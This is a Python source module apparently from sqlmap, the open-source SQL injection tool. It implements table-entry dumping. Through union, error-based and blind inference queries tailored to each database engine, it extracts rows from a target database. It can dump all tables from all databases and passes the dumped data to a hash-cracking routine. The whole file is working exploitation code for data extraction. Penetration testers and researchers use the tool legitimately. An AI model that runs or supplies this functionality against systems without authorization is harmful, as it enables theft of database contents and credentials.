#!/usr/bin/env python
"""
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import re
from lib.core.agent import agent
from lib.core.bigarray import BigArray
from lib.core.common import Backend
from lib.core.common import clearConsoleLine
from lib.core.common import getLimitRange
from lib.core.common import getSafeExString
from lib.core.common import getUnicode
from lib.core.common import isInferenceAvailable
from lib.core.common import isListLike
from lib.core.common import isNoneValue
from lib.core.common import isNumPosStrValue
from lib.core.common import isTechniqueAvailable
from lib.core.common import prioritySortColumns
from lib.core.common import readInput
from lib.core.common import safeSQLIdentificatorNaming
from lib.core.common import singleTimeLogMessage
from lib.core.common import unArrayizeValue
from lib.core.common import unsafeSQLIdentificatorNaming
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import queries
from lib.core.dicts import DUMP_REPLACEMENTS
from lib.core.enums import CHARSET_TYPE
from lib.core.enums import DBMS
from lib.core.enums import EXPECTED
from lib.core.enums import PAYLOAD
from lib.core.exception import SqlmapConnectionException
from lib.core.exception import SqlmapMissingMandatoryOptionException
from lib.core.exception import SqlmapNoneDataException
from lib.core.exception import SqlmapUnsupportedFeatureException
from lib.core.settings import CHECK_ZERO_COLUMNS_THRESHOLD
from lib.core.settings import CURRENT_DB
from lib.core.settings import NULL
from lib.request import inject
from lib.utils.hash import attackDumpedTable
from lib.utils.pivotdumptable import pivotDumpTable
class Entries:
"""
This class defines entries' enumeration functionalities for plugins.
"""
def __init__(self):
pass
def dumpTable(self, foundData=None):
self.forceDbmsEnum()
if conf.db is None or conf.db == CURRENT_DB:
if conf.db is None:
warnMsg = "missing database parameter. sqlmap is going "
warnMsg += "to use the current database to enumerate "
warnMsg += "table(s) entries"
logger.warn(warnMsg)
conf.db = self.getCurrentDb()
elif conf.db is not None:
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB):
conf.db = conf.db.upper()
if ',' in conf.db:
errMsg = "only one database name is allowed when enumerating "
errMsg += "the tables' columns"
raise SqlmapMissingMandatoryOptionException(errMsg)
if conf.exclude and conf.db in conf.exclude.split(','):
infoMsg = "skipping database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
singleTimeLogMessage(infoMsg)
return
conf.db = safeSQLIdentificatorNaming(conf.db)
if conf.tbl:
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB):
conf.tbl = conf.tbl.upper()
tblList = conf.tbl.split(',')
else:
self.getTables()
if len(kb.data.cachedTables) > 0:
tblList = kb.data.cachedTables.values()
if isinstance(tblList[0], (set, tuple, list)):
tblList = tblList[0]
elif not conf.search:
errMsg = "unable to retrieve the tables "
errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
raise SqlmapNoneDataException(errMsg)
else:
return
for tbl in tblList:
tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl, True)
for tbl in tblList:
if kb.dumpKeyboardInterrupt:
break
if conf.exclude and tbl in conf.exclude.split(','):
infoMsg = "skipping table '%s'" % unsafeSQLIdentificatorNaming(tbl)
singleTimeLogMessage(infoMsg)
continue
conf.tbl = tbl
kb.data.dumpedTable = {}
if foundData is None:
kb.data.cachedColumns = {}
self.getColumns(onlyColNames=True, dumpMode=True)
else:
kb.data.cachedColumns = foundData
try:
if Backend.isDbms(DBMS.INFORMIX):
kb.dumpTable = "%s:%s" % (conf.db, tbl)
else:
kb.dumpTable = "%s.%s" % (conf.db, tbl)
if not safeSQLIdentificatorNaming(conf.db) in kb.data.cachedColumns \
or safeSQLIdentificatorNaming(tbl, True) not in \
kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] \
or not kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)]:
warnMsg = "unable to enumerate the columns for table "
warnMsg += "'%s' in database" % unsafeSQLIdentificatorNaming(tbl)
warnMsg += " '%s'" % unsafeSQLIdentificatorNaming(conf.db)
warnMsg += ", skipping" if len(tblList) > 1 else ""
logger.warn(warnMsg)
continue
columns = kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)]
colList = sorted(filter(None, columns.keys()))
if conf.exclude:
colList = [_ for _ in colList if _ not in conf.exclude.split(',')]
if not colList:
warnMsg = "skipping table '%s'" % unsafeSQLIdentificatorNaming(tbl)
warnMsg += " in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
warnMsg += " (no usable column names)"
logger.warn(warnMsg)
continue
kb.dumpColumns = colList
colNames = colString = ", ".join(column for column in colList)
rootQuery = queries[Backend.getIdentifiedDbms()].dump_table
infoMsg = "fetching entries"
if conf.col:
infoMsg += " of column(s) '%s'" % colNames
infoMsg += " for table '%s'" % unsafeSQLIdentificatorNaming(tbl)
infoMsg += " in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
logger.info(infoMsg)
for column in colList:
_ = agent.preprocessField(tbl, column)
if _ != column:
colString = re.sub(r"\b%s\b" % re.escape(column), _, colString)
entriesCount = 0
if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
entries = []
query = None
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
query = rootQuery.inband.query % (colString, tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())))
elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MAXDB):
query = rootQuery.inband.query % (colString, tbl)
elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL):
# Partial inband and error
if not (isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) and kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.ORIGINAL):
table = "%s.%s" % (conf.db, tbl)
if Backend.isDbms(DBMS.MSSQL):
query = rootQuery.blind.count % table
query = agent.whereQuery(query)
count = inject.getValue(query, blind=False, time=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
if isNumPosStrValue(count):
try:
indexRange = getLimitRange(count, plusOne=True)
for index in indexRange:
row = []
for column in colList:
query = rootQuery.blind.query3 % (column, column, table, index)
query = agent.whereQuery(query)
value = inject.getValue(query, blind=False, time=False, dump=True) or ""
row.append(value)
entries.append(row)
except KeyboardInterrupt:
kb.dumpKeyboardInterrupt = True
clearConsoleLine()
warnMsg = "Ctrl+C detected in dumping phase"
logger.warn(warnMsg)
if not entries and not kb.dumpKeyboardInterrupt:
try:
retVal = pivotDumpTable(table, colList, blind=False)
except KeyboardInterrupt:
retVal = None
kb.dumpKeyboardInterrupt = True
clearConsoleLine()
warnMsg = "Ctrl+C detected in dumping phase"
logger.warn(warnMsg)
if retVal:
entries, _ = retVal
entries = zip(*[entries[colName] for colName in colList])
else:
query = rootQuery.inband.query % (colString, conf.db, tbl)
elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB):
query = rootQuery.inband.query % (colString, conf.db, tbl, prioritySortColumns(colList)[0])
else:
query = rootQuery.inband.query % (colString, conf.db, tbl)
query = agent.whereQuery(query)
if not entries and query and not kb.dumpKeyboardInterrupt:
try:
entries = inject.getValue(query, blind=False, time=False, dump=True)
except KeyboardInterrupt:
entries = None
kb.dumpKeyboardInterrupt = True
clearConsoleLine()
warnMsg = "Ctrl+C detected in dumping phase"
logger.warn(warnMsg)
if not isNoneValue(entries):
if isinstance(entries, basestring):
entries = [entries]
elif not isListLike(entries):
entries = []
entriesCount = len(entries)
for index, column in enumerate(colList):
if column not in kb.data.dumpedTable:
kb.data.dumpedTable[column] = {"length": len(column), "values": BigArray()}
for entry in entries:
if entry is None or len(entry) == 0:
continue
if isinstance(entry, basestring):
colEntry = entry
else:
colEntry = unArrayizeValue(entry[index]) if index < len(entry) else u''
maxLen = max(len(column), len(DUMP_REPLACEMENTS.get(getUnicode(colEntry), getUnicode(colEntry))))
if maxLen > kb.data.dumpedTable[column]["length"]:
kb.data.dumpedTable[column]["length"] = maxLen
kb.data.dumpedTable[column]["values"].append(colEntry)
if not kb.data.dumpedTable and isInferenceAvailable() and not conf.direct:
infoMsg = "fetching number of "
if conf.col:
infoMsg += "column(s) '%s' " % colNames
infoMsg += "entries for table '%s' " % unsafeSQLIdentificatorNaming(tbl)
infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
logger.info(infoMsg)
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
query = rootQuery.blind.count % (tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())))
elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD):
query = rootQuery.blind.count % tbl
elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL):
query = rootQuery.blind.count % ("%s.%s" % (conf.db, tbl))
elif Backend.isDbms(DBMS.MAXDB):
query = rootQuery.blind.count % tbl
elif Backend.isDbms(DBMS.INFORMIX):
query = rootQuery.blind.count % (conf.db, tbl)
else:
query = rootQuery.blind.count % (conf.db, tbl)
query = agent.whereQuery(query)
count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
lengths = {}
entries = {}
if count == 0:
warnMsg = "table '%s' " % unsafeSQLIdentificatorNaming(tbl)
warnMsg += "in database '%s' " % unsafeSQLIdentificatorNaming(conf.db)
warnMsg += "appears to be empty"
logger.warn(warnMsg)
for column in colList:
lengths[column] = len(column)
entries[column] = []
elif not isNumPosStrValue(count):
warnMsg = "unable to retrieve the number of "
if conf.col:
warnMsg += "column(s) '%s' " % colNames
warnMsg += "entries for table '%s' " % unsafeSQLIdentificatorNaming(tbl)
warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
logger.warn(warnMsg)
continue
elif Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.SYBASE, DBMS.MAXDB, DBMS.MSSQL, DBMS.INFORMIX):
if Backend.isDbms(DBMS.ACCESS):
table = tbl
elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL):
table = "%s.%s" % (conf.db, tbl)
elif Backend.isDbms(DBMS.MAXDB):
table = "%s.%s" % (conf.db, tbl)
elif Backend.isDbms(DBMS.INFORMIX):
table = "%s:%s" % (conf.db, tbl)
if Backend.isDbms(DBMS.MSSQL):
try:
indexRange = getLimitRange(count, plusOne=True)
for index in indexRange:
for column in colList:
query = rootQuery.blind.query3 % (column, column, table, index)
query = agent.whereQuery(query)
value = inject.getValue(query, union=False, error=False, dump=True) or ""
if column not in lengths:
lengths[column] = 0
if column not in entries:
entries[column] = BigArray()
lengths[column] = max(lengths[column], len(DUMP_REPLACEMENTS.get(getUnicode(value), getUnicode(value))))
entries[column].append(value)
except KeyboardInterrupt:
kb.dumpKeyboardInterrupt = True
clearConsoleLine()
warnMsg = "Ctrl+C detected in dumping phase"
logger.warn(warnMsg)
if not entries and not kb.dumpKeyboardInterrupt:
try:
retVal = pivotDumpTable(table, colList, count, blind=True)
except KeyboardInterrupt:
retVal = None
kb.dumpKeyboardInterrupt = True
clearConsoleLine()
warnMsg = "Ctrl+C detected in dumping phase"
logger.warn(warnMsg)
if retVal:
entries, lengths = retVal
else:
emptyColumns = []
plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2)
indexRange = getLimitRange(count, plusOne=plusOne)
if len(colList) < len(indexRange) > CHECK_ZERO_COLUMNS_THRESHOLD:
debugMsg = "checking for empty columns"
logger.debug(infoMsg)
for column in colList:
if not inject.checkBooleanExpression("(SELECT COUNT(%s) FROM %s)>0" % (column, kb.dumpTable)):
emptyColumns.append(column)
debugMsg = "column '%s' of table '%s' will not be " % (column, kb.dumpTable)
debugMsg += "dumped as it appears to be empty"
logger.debug(debugMsg)
try:
for index in indexRange:
for column in colList:
value = ""
if column not in lengths:
lengths[column] = 0
if column not in entries:
entries[column] = BigArray()
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB):
query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, conf.tbl, sorted(colList, key=len)[0], index)
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())), index)
elif Backend.isDbms(DBMS.SQLITE):
query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl, index)
elif Backend.isDbms(DBMS.FIREBIRD):
query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), tbl)
elif Backend.isDbms(DBMS.INFORMIX):
query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), conf.db, tbl, sorted(colList, key=len)[0])
query = agent.whereQuery(query)
value = NULL if column in emptyColumns else inject.getValue(query, union=False, error=False, dump=True)
value = '' if value is None else value
lengths[column] = max(lengths[column], len(DUMP_REPLACEMENTS.get(getUnicode(value), getUnicode(value))))
entries[column].append(value)
except KeyboardInterrupt:
kb.dumpKeyboardInterrupt = True
clearConsoleLine()
warnMsg = "Ctrl+C detected in dumping phase"
logger.warn(warnMsg)
for column, columnEntries in entries.items():
length = max(lengths[column], len(column))
kb.data.dumpedTable[column] = {"length": length, "values": columnEntries}
entriesCount = len(columnEntries)
if len(kb.data.dumpedTable) == 0 or (entriesCount == 0 and kb.permissionFlag):
warnMsg = "unable to retrieve the entries "
if conf.col:
warnMsg += "of columns '%s' " % colNames
warnMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl)
warnMsg += "in database '%s'%s" % (unsafeSQLIdentificatorNaming(conf.db), " (permission denied)" if kb.permissionFlag else "")
logger.warn(warnMsg)
else:
kb.data.dumpedTable["__infos__"] = {"count": entriesCount,
"table": safeSQLIdentificatorNaming(tbl, True),
"db": safeSQLIdentificatorNaming(conf.db)}
try:
attackDumpedTable()
except (IOError, OSError), ex:
errMsg = "an error occurred while attacking "
errMsg += "table dump ('%s')" % getSafeExString(ex)
logger.critical(errMsg)
conf.dumper.dbTableValues(kb.data.dumpedTable)
except SqlmapConnectionException, ex:
errMsg = "connection exception detected in dumping phase "
errMsg += "('%s')" % getSafeExString(ex)
logger.critical(errMsg)
finally:
kb.dumpColumns = None
kb.dumpTable = None
def dumpAll(self):
if conf.db is not None and conf.tbl is None:
self.dumpTable()
return
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
errMsg = "information_schema not available, "
errMsg += "back-end DBMS is MySQL < 5.0"
raise SqlmapUnsupportedFeatureException(errMsg)
infoMsg = "sqlmap will dump entries of all tables from all databases now"
logger.info(infoMsg)
conf.tbl = None
conf.col = None
self.getTables()
if kb.data.cachedTables:
if isinstance(kb.data.cachedTables, list):
kb.data.cachedTables = {None: kb.data.cachedTables}
for db, tables in kb.data.cachedTables.items():
conf.db = db
for table in tables:
if conf.exclude and table in conf.exclude.split(','):
infoMsg = "skipping table '%s'" % unsafeSQLIdentificatorNaming(table)
logger.info(infoMsg)
continue
try:
conf.tbl = table
kb.data.cachedColumns = {}
kb.data.dumpedTable = {}
self.dumpTable()
except SqlmapNoneDataException:
infoMsg = "skipping table '%s'" % unsafeSQLIdentificatorNaming(table)
logger.info(infoMsg)
def dumpFoundColumn(self, dbs, foundCols, colConsider):
message = "do you want to dump entries? [Y/n] "
if not readInput(message, default='Y', boolean=True):
return
dumpFromDbs = []
message = "which database(s)?\n[a]ll (default)\n"
for db, tblData in dbs.items():
if tblData:
message += "[%s]\n" % unsafeSQLIdentificatorNaming(db)
message += "[q]uit"
choice = readInput(message, default='a')
if not choice or choice in ('a', 'A'):
dumpFromDbs = dbs.keys()
elif choice in ('q', 'Q'):
return
else:
dumpFromDbs = choice.replace(" ", "").split(',')
for db, tblData in dbs.items():
if db not in dumpFromDbs or not tblData:
continue
conf.db = db
dumpFromTbls = []
message = "which table(s) of database '%s'?\n" % unsafeSQLIdentificatorNaming(db)
message += "[a]ll (default)\n"
for tbl in tblData:
message += "[%s]\n" % tbl
message += "[s]kip\n"
message += "[q]uit"
choice = readInput(message, default='a')
if not choice or choice in ('a', 'A'):
dumpFromTbls = tblData
elif choice in ('s', 'S'):
continue
elif choice in ('q', 'Q'):
return
else:
dumpFromTbls = choice.replace(" ", "").split(',')
for table, columns in tblData.items():
if table not in dumpFromTbls:
continue
conf.tbl = table
colList = filter(None, sorted(columns))
if conf.exclude:
colList = [_ for _ in colList if _ not in conf.exclude.split(',')]
conf.col = ','.join(colList)
kb.data.cachedColumns = {}
kb.data.dumpedTable = {}
data = self.dumpTable(dbs)
if data:
conf.dumper.dbTableValues(data)
def dumpFoundTables(self, tables):
message = "do you want to dump tables' entries? [Y/n] "
if not readInput(message, default='Y', boolean=True):
return
dumpFromDbs = []
message = "which database(s)?\n[a]ll (default)\n"
for db, tablesList in tables.items():
if tablesList:
message += "[%s]\n" % unsafeSQLIdentificatorNaming(db)
message += "[q]uit"
choice = readInput(message, default='a')
if not choice or choice.lower() == 'a':
dumpFromDbs = tables.keys()
elif choice.lower() == 'q':
return
else:
dumpFromDbs = choice.replace(" ", "").split(',')
for db, tablesList in tables.items():
if db not in dumpFromDbs or not tablesList:
continue
conf.db = db
dumpFromTbls = []
message = "which table(s) of database '%s'?\n" % unsafeSQLIdentificatorNaming(db)
message += "[a]ll (default)\n"
for tbl in tablesList:
message += "[%s]\n" % unsafeSQLIdentificatorNaming(tbl)
message += "[s]kip\n"
message += "[q]uit"
choice = readInput(message, default='a')
if not choice or choice.lower() == 'a':
dumpFromTbls = tablesList
elif choice.lower() == 's':
continue
elif choice.lower() == 'q':
return
else:
dumpFromTbls = choice.replace(" ", "").split(',')
for table in dumpFromTbls:
conf.tbl = table
kb.data.cachedColumns = {}
kb.data.dumpedTable = {}
data = self.dumpTable()
if data:
conf.dumper.dbTableValues(data)